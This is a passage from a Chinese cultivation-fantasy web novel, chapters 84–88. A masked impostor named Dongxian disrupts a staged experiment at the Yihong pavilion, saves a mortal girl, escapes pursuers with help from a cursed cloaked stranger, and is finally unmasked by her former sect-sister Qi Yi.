“遭了，我的二十面传送骰好像丢在路上。”
上官莲蓉后知后觉地想起，大力地拍了下额头，很是无奈。
邱少英按住她，阻止她想向前的步伐，低声斥道：“你还想回去找吗，刚才我们就是被里面的人给轰出来的，就算是带上面具没有请帖我们还是进不去的。”
上官莲蓉懊恼道：“可那是中阶法器，平日我都用得可顺手。”
邱少英道：“行了，大不了找炼器师再做一个，别忘了我们跟谁来的。”
上官莲蓉心说找炼器师定制法器又贵又花时间，但她记得来的目的，所以只好心碎地接受二十面传送骰弄丢了的事实。
邱少英将手中的面具分给上官莲蓉，惹得上官莲蓉一问：“你想进进去吗？”
她面上浮现出可疑的红晕，语气情不自禁地上扬起来。
“听说幽云城的怡红院是个非常值得一去体验的地方，那里美人如云，有如天堂般的存在，这请帖我伪作了两份，应该看不出来的，进去就看看嘛。”
邱少英：？
你是不是忘记幽云城是一个牛魔马面都有的地方了？你的任务呢，你到底在想什么啊。
邱少英：“你到底都在想什么，把我们的任务在心中默念三遍，可不要坏了任务。”
上官莲蓉“哦”了一声，但不减半分兴趣，她戴好面具，与邱少英共同进入怡红院。
请帖是她们从别人的客人那看过的，上官莲蓉记性很好，照着真请帖一比一复刻出来，只要请帖没有其他的特殊检验方法，她们就能正常进去。
接待的下人都貌美迷人，极具风情，他注意到邱少英留在他面上的眼神，道：“小姐，您是第一次来吗？”
邱少英警惕地没有第一时间回复，而是等着他接下来的言语。
下人笑了笑，“您若是有需要，我随时可以为您服务。”
他有意咬重“服务”二字，带着奇怪的韵味，勾得邱少英心痒痒的。
就在邱少英这愣神之际，下人已经检验出她的请帖是假的，态度语气并未因此变化，依旧轻柔弟道：“抱歉小姐，你的请帖不能使用
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，如若你还有时间，您可以在一个时辰后再来，我在这里随时等候您。”
邱少英晕乎乎地被送出大堂，回神的时候发现上官莲蓉一脸兴意地看着她，发现在她看过来后，又对着她挤眉弄眼，表示我说得没错吧。
邱少英：“……”
她想试图掩饰，上官莲蓉已经不给面子地笑起来。
“你方才分明也觉得怡红院可有意思了对吧，他刚刚一定俘获了你的芳心，听说怡红院服务的法子有很多种了，叫人怎么销魂怎么来，可惜我们是跟着亓沂师姐来的，不然过一个时辰后高低得体会一把。”
邱少英跟着上官莲蓉真心实意地叹了一声。
如若不是因为这次是有亓沂师姐带她们来，她们还真不一定能来幽云城的怡红院，怡红院可是玄清宗明令弟子们禁止要去的地方。
在玄清宗，怡红院被描述得可恐怖了，据说这里的酒水美人甚至上的香都点满了类似焕新膏的存在，只要进去就会失智发疯，沾上一点这辈子都得完，可吓坏了不少没去过幽云城的弟子。
懂得内幕的上官莲蓉不以为然，那不过是长老们想出让弟子不要碰焕新膏替换星宿传承的话术罢了，往生真要把焕新膏开发到那种地步，还有现在百仙盟什么事。
可惜没能进去。
上官莲蓉又叹了一声。
邱少英道：“亓沂师姐让我们先在怡红院外不要轻举妄动，我们就在这等吧。”
她们尝试偷偷翻进怡红院，在第一次被发现后便打消了念头，觉得还是正规渠道进去比较稳妥，可惜这请帖也被人发现是假的，只能在怡红院外等了。
这回她们被亓沂带到这，是为了阻止妖人试验的成功进行，两人想着能拿功绩好啊，便跟着亓沂来，虽然也有想去怡红院观摩观摩的私心在。
上官莲蓉不解地道：“亓沂师姐是从哪得来妖人的消息，这种事情直接上报给百仙盟让他们处理不就行了，她为何还要亲自来一趟？”
邱少英道：“说不定是因为那个冒牌货也在这，亓沂师姐是找到冒牌货的踪迹才跟过来的。”
闻言，上官莲蓉很是感慨，“谁能想到回来的慕婉思是真的被假扮的，长老们和清微仙尊都没能看穿她的伪装，到底是什么法宝竟能把人藏得如此深？你说她来我们玄清宗该不会真是宋问天所言与魔有染吧。”
邱少英道：“能将人完全变成另一个人的法宝，我知道一个，名为百生镜，前提是要熟知对方的面容性情，方可幻化他人面目，这个冒牌货一定是认识慕婉思，说不准她就是害得慕婉思进入鬼煞冢的真凶，那是魔无疑了。
“平日里安师姐与她走得最近，安师姐应当已经知道这件事了吧？”
上官莲蓉道：“你说的百生镜至今都没能找到下落，不过正是因为找不到下落才显得尤为可疑，也许真被她拿走，长老们已经派人去找冒牌货了，安师姐能与冒牌货待那么久都没发现，确实很可疑。”
邱少英道：“安师姐这是无妄之灾，如若冒牌货手持的百生镜任谁也不会看穿她的身份，只是涉及到与魔有关的事，就算是小事也不可忽略怠慢。”
上官莲蓉不以为意，道：“冒牌货才淬灵境的实力，只要能找到她就一定能把她抓回去，既然她在这里……”
她脑袋微微前倾，眯着眼看着某处突然失神了。
邱少英被她忽然顿住给弄得紧张起来，她下意识询问道：“怎么，你看到她了吗？”
上官莲蓉张了张嘴，却是：“好漂亮啊。”
85.第 85 章
稍微喧闹的大堂忽而安静下来，一个女子的到来瞬间吸引了不少目光。
每个人都戴着面具，这场盛宴内谁也不认识谁，谁也看不出对方的身份。
修仙人虽然会基础的易容术，但是遇到高境界的修士还是能被窥探得一览无余，戴上面具已然是最好的伪装做法。
哪怕是用面具遮住了整张脸，林纾衣依旧美丽得像画中走下来的洛神，吸引在场无数目光，让人难以从她的身上移开视线。
以至于接下来舞女舞男上场时，还是被她抢走了至少一半的风光。
感受到周遭时而落下的视线，她并不觉得有半分不适与反感，从小就在人群中心的她已经习惯了他们目光的追随，如若这些目光是因她的权势而投来的话，她会毫不吝惜地露出一张笑脸。
她用着那双眼打量着盛宴中的众人，直到美丽的狐狸眼对上某个带着笑意的视线。
东闲扯了扯面具，确认它近乎黏在她脸上犹如天生就和她的皮贴合在一起。
注意到林纾衣的到来，她自然而然地与林纾衣对上视线。
林纾衣嫌弃她戴着的那张恶鬼面具，生怕这丑东西在她眼里多留一刻，很快别开了视线。
东闲心想这张面具也没丑到那个地步吧。
她转而看着场上的其他，来的人要比她想的要多，她开始怀疑这群人真的都是与岑为霜有合作来往的人吗，如果是的话，为什么岑为霜要单独与商人开了场简短的会谈呢？
怡红院对外人的筛选并不严格，几乎是只要请帖不出错都能进来，这是否意味着，哪怕是百仙盟的人也可以混入进来，如若这样，妖人试验的失败才会是必然，岑为霜怎么会做这种没有得利的事。
东闲稍作思忖，忽而觉得今晚要做的事并不算难。
想着想着，她又想起来一件不太妙的事情。
朝天宫的人也要来幽云城的，循着她的踪迹而来，他们可能也会来怡红院看一看。
她不太确定莫吟洲所言是否属实，今晚的行动不能暴露她自己。
东闲只身站在尤长离身侧，眉目低垂，扮演好随身侍卫的身份。
怡红院来了最后一个客人。
客人将请帖交给仆从，在交请帖的间隙，他已将心音传了出去。
［人应当都到齐了吧。］
这仆人竟也是个修士，当下以心音回之。
［您是最后一个到的。］
［对了，你可留意到有一个古怪的女子进来，只要见着她便会心怀厌恶，想要对她出手？］
［不曾。］
男人只道此人应当还没来到，便叮嘱。
［你且帮我盯着点。］
跟随朝天宫的人蹲守在怡红院附近的男人，原本把玩着自己的长辫，看到这一幕瞪大了眼。
在怡红院停留的背影，怎会越瞧越像他的兄长。
兄长跟他要初生香做什么，初生香是针对星宿传承带来的排异效果的最好的宝贝，百利无害谁不想拥有？莫吟洲倒也想要，但那是兄长，他就该送到兄长手上。
他原以为兄长拿来是送人做个人情，毕竟兄长想要坐稳莫家家主这个位置，依他低星宿传承的天赋就得付出一定的代价，可如今他却出现在怡红院。
如若那是他看错了呢，与那下人交谈的并非是兄长，但是他绝不会认错兄长的背影。
莫吟洲不禁握紧了拳，他很快冷静下来，告诉自己，不管兄长做了什么他都可以理解的。
目光却是粘在那个背影不肯离去。
莫吟洲的情绪逐渐暴躁起来，他不知自己这种情绪产生是为何，难道是因为发现兄长替换了星宿传承吗，不，这并不会使他感到愤怒，能使他愤怒的只有背叛，在幼年被家人抛弃那刻起，他就嫉恨世间所有的背叛，而他面临的背叛那只是开始。
一个女人走了过来，问她：“你在看什么？”
看到这个背宽大罩袍罩住全身的女人，莫吟洲方知自己骤变的情绪是为何物。
因为在看到对方的那一刻，他脑海里响起无数的声音——“为什么非要站在我身边，实在是太恶心了，能不能往旁边去”“把自己挡得严严实实是有什么见不得人吧”“真是令人恶心的存在”。
他不可克制地喊了声：“滚开我身边。”
喝出一声后他竟觉得满身畅快，还想多骂几声。
莫吟洲面上浮现困惑之色。
如此暴躁的情绪究竟是为何。
莫吟洲想强压下去自己的暴躁情绪，但是对方的存在只会加深他的暴怒，他甚至有想对对方出手的冲动。
莫吟洲只得狠狠地砸向一旁的墙上，疼痛稍稍唤醒他的理智。
古怪，看着这个人怎么就生起浓浓的厌恶之情，甚至难以克制情绪想要对她恶语相加。
这是她的能力吗？这种完全损己的能力谁会喜欢用啊。
让他的大脑都难以正常思考起来，充盈他的脑海里的全是对这个人不加掩饰的恶意。
莫吟洲连连后退，意图拉远距离来减少罩袍人对自己的影响。
对方似乎早就预料到他这样的表现，再次重复道：“你在看什么？”
他努力不说出重话，想要抗争那种诡异的力量。
“与你无关。”
生硬的，却难以掩住恶气，这已经是眼前人能够做到的极限了。
对方意味深长地道：“你撑得很久。”
莫吟洲紧着眉头道：“任谁都……不会愿意被这种奇怪的力量控制。”
几乎是挤出来的一句话，说一句不带脏字的话可真难啊。
他的话取悦了罩袍人，罩袍人遇到的所有人都会像他这样忍不住对自己散发恶意，而绝大多数人都会不加藏匿自己的恶意，鲜少会像他这样努力压制。
莫吟洲问道：“喂，你来这又是干什么？”
罩袍人道：“有人要杀我，所以我来这里。”
莫吟洲觉得对方的逻辑思维很混乱，难以理解地道：“你在胡说什么？”
罩袍人看向怡红院，自顾自地道：“我拿了他的东西，他想让我偿命。”
他顺其目光看去，并未看到什么存在，转过头来，人已经不见了。
而在此人走后，那种莫名其妙的愤怒与厌恶之意随之消失得无影无踪。
莫吟洲心觉奇怪，这个人到底是谁，他为了兄长暗里也奔波不少，关于修仙界的事谈不上全知全能，但一定知悉大半，这类古怪的人是第一次碰到。
莫吟洲现在能够掌控自己的情绪，开始冷静分析方才的对话。
方才她说
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什么来着？
有人要杀她，所以她要来这里。
她为什么要告诉自己，一个毫不相干的陌生人值得她说这么多话？
要杀她的这个人似乎就在怡红院内。
莫吟洲心中有着不好的想法，难道是兄长要杀她，这个女人能够拥有控制他人情绪的能力，且无法抵抗，他不能让她伤害兄长。
但是他要怎么进去，门都合上了，他上哪去找个冤大头拿请帖。
被他警惕的罩袍女人并未离开他太远，她只是用了某类高级符咒，就让自己身上的诅咒带来的影响暂时屏蔽，可惜符咒维持的时间有限，而她心中不甘自己活的一辈子需要借外物遮掩。
难道她是什么恶心的存在吗？这世间总有人是被厌弃的，但她有必须存在的理由。
地面上的积水照映出她的半截面孔，似她又不似她，那上扬的唇角带着的邪意是她不曾有的。
“只要出现在人群当中，就会得到同样的结果，不得不使用符咒遮掩的模样很狼狈呢。”
每一次她的情绪波动，“她”就会出来。
罩袍下的脸上尽是不耐烦。
“你很烦。”
“她”状若未闻，继续道：“你看到她了，她这种时候应当去碧连山寻你，为何会出现在这？”
罩袍人冷漠地道：“我不在碧连山，她去了也没用。”
积水中的嘴角弧度扩得更大了。
“你真的不在意吗？我是因你的憎恶与孤寂而产生，我会是最懂你的人。”
她嗤笑一声，抬脚踩在积水上，朝着怡红院的方向而去。
怡红院内已经到齐所有该来的客人，客人们都坐在事先安排的位置上，戴着各种不同的面具，目光看似落在表演的舞男舞女身上，实则余光打量着周围的旁人。
尤长离也是其中的一员，他暗戳戳地观察着在场的其他人，试图从对方的行为举止中看出端倪来。
尤长离问道：“你有注意到什么发现吗？”
东闲应得很快：“有。”
尤长离：！
东闲：“你看，这些所谓的花瓣是由阵法打造的障眼法罢了，从画像中出来的想法确实挺有新意的，哎，怡红院缺钱吗，怎么连真货都舍不得置办。”
她抬手尝试触碰那朵金灿灿的花，发现自己的手指穿透了它，确实是假的，感到很遗憾。
尤长离：？
你这个口气听起来这么得意怎么回事，难道我看不出来吗？而且现在是讨论怡红院穷不穷的问题吗。
尤长离一时间摸不透东闲的心理活动，很快他给出了合理的解释，东闲是在怕他们二人的心声被旁人听了去，东闲才是淬灵境的修为，在场的恐怕只她一人是淬灵境，修为低下被旁人窃听心声也很容易。
是他大意了。
尤长离连忙回道：“你说得没错，都是些障眼法罢了。”
偷听到东闲心声的阿棠：？
主人让她多盯着点东闲，觉得她是个不老实的，虽然对方是淬灵境的修士，阿棠也很谨慎地观察对方的动静。
但是她在说什么，是发觉自己在窥听她的心音了吗。
阿棠远远地扫了一眼东闲，没出声，余光与一个男人的目光相对，她略作颔首，无声中完成一场交流。
86.第 86 章
表演已经进行到尾声，阿棠与旁边的侍从以心音传讯“妖人”“邹湘”等字眼。
直到台上舞女舞男下去，岑为霜上台，整个怡红院才彻底安静。
东闲看了看周围还有部分落在林纾衣身上而非台上的目光，暗道公主真是倾国倾城级别的迷人。
岑为霜宣布下面就要开始妖人试验，所有人都将目光投向台上，无一例外。
邹湘被送到台上，目光惊惧而慌乱，随着旁边人宣布她是一个毫无灵体的凡人，她的目光不禁朝下看去，那群人审视的目光令她更加害怕，她似已经成了任人宰割的鱼肉。
但她记得东闲说要救她，所以强行维持着镇定，而在人群中她也看见了那张鬼面，露出的那双眼叫她稍稍安定。
岑为霜还在讲解她的妖人计划，与她先前在会谈上所说的无二般差距，下面有人不时问她问题，她也一一回答。
东闲发现有些人的表现很有趣，虽然面具阻拦了她窥探他人情绪的想法，但是那些或惊或怒的眼神却出卖了他们的心思。
谁会因为妖人计划感到不满呢。
岑为霜对外宣传是妖人计划，最起码尤长离等这些商人是因妖人而受邀来，可这部分人表现出来的惊讶不似作伪，他们好像不知道妖人计划。
难道她对自己人隐瞒了妖人计划？
东闲带着这样的猜测看下去，结果如她所猜的那般，岑为霜对自己人隐瞒了妖人计划，准确的来说，应当是往生核心成员。
灯乍然黑的那一刻，东闲全部想通了。
她算是明白为何尤长离对这次妖人计划的失败胸有成竹，原来妖人计划的实施根本就没得到内部的统一赞成，这是岑为霜一人执意要推行的，以往生的名义。
她这一次并不特意筛选出百仙盟，恐怕是想借百仙盟的力量，打压那些想要坚持用焕新膏盈利的人。
不，也不对，她与往生一体不会背叛往生，她因为她的举措伤到了往生的利益，或者说在背叛魔，从而引得往生的否决，今日这一举她是逼他们承认妖人的可行性。
不论是哪方都不会希望妖人计划的成功，岑为霜或许压根没想过妖人计划会成功施行。
百仙盟本就苦于焕新膏无法得到彻底根除，如若往生者内部因此分离，这对他们来说是个机会。
她这一举也是在逼其他人做决定，如若他们不愿答应妖人计划，她就和百仙盟合作，想必比起妖人计划，百仙盟会更加愿意消灭焕新膏这种让人入魔的东西。
他们怎能容许这种事情的发生？最后多半是要憋屈地从了她。
今日的妖人试验本就没打算开始。
像是要应证东闲的话似的，大堂内骤然漆黑一片，所有的灯光尽灭，同时不知从哪散发出的白烟笼罩了整个怡红院，无法用术法解决，一群刚得到光明的人又迷失方向。
这般想着，东闲已经凭着记忆登上了高台，邹湘惊得想失声尖叫，然而这一举动会暴露她自己的位置，多少人冲她的位置而来。
她也是在灯黑白雾弥漫的那一刻，才知道在场中人有很多对她怀有杀意的。
邹湘不明白他们的杀意，她最初也只是想成为能够阿姐一样可以修炼的修士，而现在的她后悔了，她想离开这里，她想走。
“我要走。”
她没忍住吼出一声，腕上传来的力量把她带到另一个人怀里。
“我带你走。”对方回道。
不知谁朝邹湘动手，邹湘几乎吓得都要晕死过去，但是身旁的人起的夺目金莲护住了她们，将她们二人包裹其中，温和力量罩住她们，挡下了那一击，同时破碎。
她听到旁边的人道：“哎，还不错。”
视线中有道光芒耀眼的金环闪过，与再次想要落到邹湘身上的力量相撞，只听“砰”地一声，力量溃散于那金环之下。
东闲瞧得两眼发光，然后才意识到那金环不是救人的，而是想捆住她们二人，只是恰巧与别人的攻击相撞了罢。
白烟开始变淡，但只能窥见小部分范围内的景象。
邹湘看向一侧，才知道有刀架在了东闲的脖颈上。
东闲：“我要个姑娘，与你们要搞砸妖人试验二者并不冲突。”
对方锐利的目光逼视她，“方才是你动手救人？”
东闲心神微凛，立马意识到她指的是那道金莲，难不成她方才使出的秘术对方认出来了？这也太凑巧了些。若不是怕挡不下，她也不会暴露秘术。
另一个人道：“你用的可是我连师姐的招，我连师姐还没收徒，你怎么会用？”
连师姐？是她想的那个连师姐吗，难道这两人是朝天宫的人。
东闲暗道这也太不巧了，用了朝天宫人的秘法被朝天宫的人发现，这不是找死吗，要知道自己犯下的罪哪一个都是跟朝天宫作对。
她沉住气，抬手抚上面具，“你不就是想看看我这面具下的脸吗？”
对方果然目光落在她停留在面具上的指上。
她低垂眼帘瞧了眼横在脖颈前的剑刃，又瞟了眼一旁的邹湘。
对方读懂了她的眼神含义，感觉更加可笑了。
“你没有谈判的资格，不过这个姑娘我们的确不要。”
邹湘反拉住了东闲，“你怎么办？”
小姑娘根本就没意识到怡红院没有把她改造成妖人的想法，这场妖人计划可以说是一个噱头，甚至可以说这场纷乱都是怡红院自导自演，真正的目的岑为霜已经达到了。
不过，她不介意做这个好人。
东闲低语道：“握住听音螺，听里面的声音行事，你会见到一个人，跟着她离开，她会庇佑你直到见到你的阿姐。
“至于我。”
她那双眸子里盛满了温柔，瞧得邹湘鼻头一酸。
“不会有事的，你忘了，你要听我的。”
邹湘此刻满心信赖，不疑有他，当下听进东闲的话，心知自己的存在只会给东闲拖后腿，紧忙朝怡红院外跑去。
邹湘还在跌跌撞撞寻着出路来，林纾衣派去联系的清风已经找到她，欲带她离开。
邹湘通过听音螺见到了清风，心下一喜，连忙道：“她还在里面，你能去救她吗？”
清风道：“她会有办法离开的，你的阿姐很想念你，先跟我回去吧。”
邹湘满心神被“阿姐”二字所占据，她想到自己不理智的行为，差点与阿姐天人两隔，两眶蓄满眼泪，心中涌起想要立刻见阿姐的冲动。
“好。”
离开怡红院前，清风扫了眼怡红院外的公主，本该在岑为霜身旁的阿棠找上了公主。
“阿棠识得你的身份么？”
邹湘回道：“我未曾透露过我的身份。”
她知道自己的
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身份会给阿姐带来多大的麻烦，所以誓死也不会说自己有一个姐姐，是罗玉国大公主的幕下之宾。
清风心想，岑为霜应当不会认出公主的真实身份，邹湘虽然为邹瑜的亲妹妹，但是邹瑜一直把她的妹妹护得很好，鲜有人知道邹湘的存在，公主也是在因缘际会下得知。
白烟弥漫的那一刻，大多人离开了怡红院，也有怀着心思还留在其中，但是不见人影，已被拉入灵域当中。
性子活泼的明月眼见公主一直看向怡红院的某处，不免好奇问道：“您在看什么？”
林纾衣透着兴味的眸子落在怡红院的方向，白雾渐渐散去，她却是依旧什么都看不见，但对里面发生了什么已有所预料。
“我在看一个人演戏，她演得这般好，我都想安排一出戏的角让她来演，说不定她是天生的伶人。”
她似乎很喜欢英雄救美的桥段，不过在完成任务的前提下，这些事情无伤大雅，何况她做的是利于自己的事情。
在视线中被一个人占据时，林纾衣眸里的笑意已经消耗完了。
那个总是跟在岑为霜身边的女人，为岑为霜打理着怡红院，阿棠。
她的面容并不出色，寻常也很安静乖顺，却不能让人忽略她尖利的爪牙，似是某种潜伏的野兽，林纾衣从不低看她，因为这点上她们很像。
阿棠面上带着得体的笑容，“您还是不愿意答应吗，这场合作对您百利无害。”
邹湘注意到清风的视线，好奇看过去，而清风已经挡在她面前，告诉她要走了。
这个女人还过分敏锐，不能让她知道是公主带走的邹湘。
林纾衣本该早些到的，与东闲那批人到来的时间一致，她原本也该是桌上会谈的那批人之一，但是她推迟了时间。
幽云城到处都有替换星宿传承需要服用焕新膏的存在，唯独青玉轩保持不用替换星宿传承之人，甚至拒绝这种存在进入青玉轩，简直是泥石流中的一缕清流。
但是幽云城不需要这股清流，她会是异类。
林纾衣道：“等到你家主人的妖人试验成功，我想再商讨这笔买卖会更适宜。”
阿棠闻言笑了笑，“您放心，妖人试验不会辜负众人的期望。”
一份新的请帖落到林纾衣的手中，不同于先前的那张，这张更华贵，上面还有咒文似的暗纹，与其说它是请帖，更像是一个钥匙。
阿棠面上仍是弧度未变的笑。
林纾衣将请帖交给一旁的明月保管，道了声“祝圣者夜愉”，而后转身离去，阿棠则目视着她的身影渐渐远去。
林纾衣瞥了一眼被明月拿在手上的请帖，道：“她是在试探我，岑为霜恐怕对邹湘的身份有所猜测。”
她心想，恐怕阿棠怀疑带走邹湘这事与她有关，好在清风后来说了并没有人看见她带走邹湘，那么岑为霜是有在调查她。
这是在她的意料之中，只怕对方的目的与她相同，可依照目前来看，对方似乎只想拉她入往生。
她发出一声冷笑：“呵，她以为她的妖人试验会成功吗，岑为霜招摇示众只怕会带来适得其反的效果。”
她面容上的情绪很快一洗而空般，不剩任何表情。
“明月，你且将我的戏服拿来，明日我会赠她一戏为送别。”
明月读懂了她的意思，为那个总是面带笑意的女子感到一丝可惜。
87.第 87 章
怡红院内，高台之上，白烟缭绕还未散尽。
东闲搭在面具上的手还未放下，目光凝视着对面的几人。
来自朝天宫的人，怕是怀疑来世之人出没在怡红院，所以到了这里。
对方的要求只是让她揭开面具，未必知道她就是来世之人，可这面具下的脸势必会让对方向她出手。
有点难办。
东闲想起方才刚得到的二十面传送骰，就是不知这二十面传送骰会把她传到哪里去。
“快点。”对方不耐烦地催促道。
东闲轻轻叹气，指骨微微用力一张面具被她掀下。
“那你们可得看仔细了，不要错抓一个无辜人。”
此刻众人皆注意她那张面具下的面庞，却不曾想到面具之下还是面具。
与那鬼面不同的是，下面的那张面具为纯白色，皆被大片大片的符咒所覆盖不留一点缝隙。
在众人注视之时，面具上的符咒开始发作，呈现一种奇异的鎏金色，轻而易举地摄住几人的心神。
原本拿剑横抵在东闲脖颈的人也中了招，眼中尽是那浮动的金色符咒，双目被刺得瞎了眼。
金色的符咒刺入她们的目光，封住她们的视线，睁眼只能看见那浮动的咒文。
第一个反应过来的人运力眨眼碎掉了封目的金符，看了眼还受困扰的同伴。
“别慌，是低级符咒封目符，封住识海不要让它渗进来影响到你的眼睛。”
她道完便追寻着东闲的气息穷追不舍地跟了上去。
同伴闻言眨碎了金符，掐起御风术跟上她的身影。
“她竟然在面具上绘下符咒。”
一般符咒师的符咒都需要绘在特制的符上才能施展，能够绘制在他物上的符咒至少得是中级符咒师的级别。
“她既有如此本事为何只在面具上绘了一张低级符咒，莫不是瞧不上我们？”
剑客回道：“也许她根本就没有绘制更高级符咒的实力吧。”
同伴想不通，“这怎么可能，除非……除非她是……哎？”
先由剑客的剑发难，数道飞剑呈包围之势把东闲困在其中，剑身快速升起的屏障相连，屏障上有滋滋在响的雷蛇流动，原是在那剑上还覆了雷灵符。
女人的目光落在被围困中间无法退离的东闲，把同伴的话补充完整。
“除非她是长孙家的人。”
两人的目光相汇，剑客先喝道：“藏头藏尾，鬼鬼祟祟，显然你并非是长孙家的人。”
东闲心道遁影术的确好用，可惜这世上围困人的秘法绝学也有百道，只有速度加成的遁影术可不能助她脱离险境。
她理直气壮地道：“要说长孙家我是有点关系的。”
毕竟她用的就是长孙家的本事，怎么不是一种关系呢。
长孙家擅制符咒，代代都是符咒师，能绘制的符咒可以停留在各种没有灵性的物体表面上，这是长孙家的秘学，长孙家对符咒的学以致用达到一种驾轻就熟的地步，几乎将符咒开发到极致，更重要的一点是制符者甚至不需要多少修为。
剑客的同伴呛她道：“你有什么关系，若你是长孙家的人便揭下面具向我们证明身份，你又不肯难道这面具是你偷来的？”
剑客道：“你带上这副面具是早有预料有人会抓你，你躲的是我们，既然你承认你偷了长孙家的东西，我们抓你是应当的。”
剑客其实并未听进东闲所谓与长孙家有关系一言，只当东闲胡说想要与长孙家攀关系求得她们放过她罢了。
所谓偷窃的言论也是故意吓唬东闲，更是在表达她们的态度——不拿下面具不会放过她。
既然眼前人实力低下，也不是长孙家的人，那么她的面具多半是从别的人那买来的，她提前买下面具，明显是预料到会有现在这一幕。
什么样的人才会躲着他们。
这个人会连筝师姐的秘法，分明心中有鬼才躲着他们咧。
剑客态度强硬地道：“摘下你的面具，不要再耍花招。”
两人已经对她面上的符咒有了抵抗效应，她们的视线下移，并不停留在她由符咒填满的面具上，以防又一次中招。
东闲道：“你们不看着我，我摘下来也没用呀。”
同伴道：“我看你是不见棺材不落泪！白薇，我们还跟她废话什么，她磨磨蹭蹭分明是心中有鬼，还不如动手来得快。”
名唤白薇的女子亦是对东闲仗剑的剑客，方才也是她一直在说话，闻言，她口中呢喃咒语，屏障上攒动的雷蛇受她召唤急速地运转着，以东闲为中心，加深了这道力量，欲形成一道飓风，飓风之内雷电横生。
东闲掐起护体屏障，袖口下的符咒准备甩出。
她最好不要暴露会的秘法绝学以免带来不必要的麻烦，便事先准备了这些符咒，可惜符咒消耗气力，在没有炼制足够的补元丹的情况下，她连夜赶制出来的符咒有限。
然而白薇所施加的力量未能如期落到东闲身上，反而被另一道不属于在场任何人的力量击溃，困住东闲的屏障如冰裂纹般四崩五裂，力量朝四方倾泻而出，激荡得一旁的货摊都粉碎成齑粉。
而这种现象在幽云城经常发生，小命可比货摊重要，商贩早已见势不对离开，倒也没牵扯到其他人。
剑也被甩了出去，扔到白薇的手中，剑上竟还附着几条细小的雷蛇，一时忘了主，毫无差别地冲着白薇撕咬而去。
白薇被迫扔掉了剑，手上有雷蛇啮咬过的伤口，脸色难堪无比，这个不速之客的到来使她感到恼怒极了。
要知道，那可是她的本命剑，谁的本命剑会不听主人的？
她重新召回剑，洗去它身上的力量，不善地望向来人。
东闲得了救也想看看是谁来帮她，手中掐着的符咒并未因此松懈，反而攥得更紧，视线所到之处只看见一个被罩袍遮掩住身形的人，缓缓朝着她的方向而来。
那人不知何时来的又不知看了多久，浑身被罩袍遮掩，但是不掩身上那种令人厌恶的气息，深深影响到了对面的那些人。
同伴道：“来了一个让人生厌的家伙，你就是她的同伙？”<
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p>对面的眸光中都是一致的厌恶，好似来的是一位怎样的穷凶极恶之人，东闲再度瞧了眼罩袍人。
她冒出了一个想法，对方用罩袍把自己挡得密不透风，分明是不想让人认出他的身份，即便是如此，她们也能认出这个人吗。
还有这种秘法绝学？依她所见此人的能力也不弱，仅仅一招便能压制住对方的力量，而且那一招看起来是寻常的道法，东闲曾在比试台上见过多少个弟子用过。
她复又觉得有些眼熟，在马车上她好像有看见这罩袍的一角。
再次看到这个罩袍人，依然没能看见她的真面目。
白薇见罩袍人不吭声，又问了一遍：“你是何人，来这里干什么？”
好不友善的语气，东闲能感觉到对方甚至是想动手，但听话的内容双方应当是第一次见面，她过去没听说过朝天宫是群性情乖戾的人。
朝天宫居然有比她还讨厌的仇人吗？盗取朝天圣果动用弥海沙漏的罪人东闲如此想到。
罩袍人仍没有回应，目光却是直直地看向东闲，步子也在朝东闲迈进。
她越走越慢，东闲不解其意，难道自己是个什么不能接近的存在吗。
罩袍人问道：“你不讨厌我？”
这是她第一次听见罩袍人说话，有些沙哑的，像是在刻意伪装了自己的声音。
东闲眨了眨眼，看了眼周旁的其他人，而后落在她的身上。
“他们讨厌你？”
罩袍人不答而问：“你想离开这吗？”
不知是不是东闲的错觉，语气中多了几分雀跃，对方似乎很开心。
东闲：“当然。”
她可以确定罩袍人跟那些朝天宫的人来自不同的势力，虽然两方可能于她而言都不是什么好人，但相比之下，她还是更愿意接近罩袍人。
东闲从心地想要往罩袍人身后藏，岂料对方拉住她的胳膊，轻轻地道：“你走吧。”
东闲：“哎？”
对面的人闻言喝道：“想走没门！”
同伴在手腕上按动一下，三只金环取出来一只被她施法放大，意图套在东闲身上，拦住推走东闲的力量。
罩袍人抬手便禁锢住那即将套在东闲身上的金环。
东闲看着那金环问道：“这有何用？”
罩袍人道：“捆住你，让你无法动弹顺便压制你的修为，让你无法反抗。”
“与捆仙绳比如何？”
“更胜一筹。”
东闲道：“我要了。”
她看上这金环有一会了，想要！
那人气急骂道：“你不要脸！还给我。”
罩袍人虽然没也说话，却是把那金环送到东闲手上，再次把东闲推走，而对于朝天宫想追的这些人，她直接开了灵域被人全拉了进去。
等东闲被停下这道力量的推动时，她看到了另一张堪称“王之蔑视”的面庞。
东闲心说她倒不如留在罩袍人身边呢。
她扯了扯面具下的嘴角，道：“你好？”
下一刻，鬼面具碎裂。
88.第 88 章
亓沂再次看到东闲的时候，并未认出眼前人是从玄清宗逃走的冒牌货，她仅是生了要看看她面孔的念头。
鬼面破碎，先惊慌的居然是她。
两人目光对视，皆盈着惊讶之意，陷入短暂的无言。
东闲反应更快，见亓沂没有再出手，转身就跑。
她是掐御风术跑的同时运作遁影术，并不敢赌亓沂的愣神有多久，熟悉亓沂的性子，对方定不会轻易放过她。
可惜亓沂不是一个人来，东闲对着眼前的困境犯了难。
数道浓墨浆状的傀儡围在她身边，罩住了她的半边天。
东闲祭出新拿到的金环，好在金环也非认主之物，可以为她所用，半空中放大的金环光芒大耀，套住上官莲蓉召出来的傀儡，倏然收紧。
眼见此景，邱少英嘴中喃喃：“这金环怎么瞧着很眼熟。”
同时她掐诀起阵，地上急速运转的八卦阵将东闲围困其中。
上官莲蓉喝道：“哪里跑……”
她复又瞪大了眼，叫道：“竟然是你。”
这张脸如何不眼熟，两月前盗取朝天圣果的脸便是这张，还贴在朝天宫大门呢！
东闲却是看向她们身后，朝她逐步接近的亓沂。
邱少英道：“并无人来搭救她，恐怕只有她一人。”
东闲还以为亓沂是手下留情，原来是想看看她还有没有帮手。
真是个无情的家伙。
亓沂吐出与她人一般冰冷无情的话来，眸子盯着东闲，却是罕见地没有释放压力，她看来的眼神更像是在试探。
“盗走朝天圣果的贼人，我岂会放过。”
她在试探什么？遇到盗取朝天圣果的窃贼不至于会惊诧吧。东闲若有所思。
“亓沂，你看来还记得我。”
亓沂：“你的肖像在修仙界传了个遍，谁不记得。”
东闲：“你明知道我不是这个意思。”
亓沂：“……”
她看人都快能把人灼烧出洞，偏偏不肯松口，誓要让东闲自己亲自说出多年前的那场大火。
“你瞧瞧这呢。”
东闲掐诀生出一个火诀，有关亓沂的重要回忆她只知道一场大火，事实上她早就怀疑了，亓沂在村子生活多年，依她的性子早该放火烧了村子，为何独独在那次献祭后选择大火。
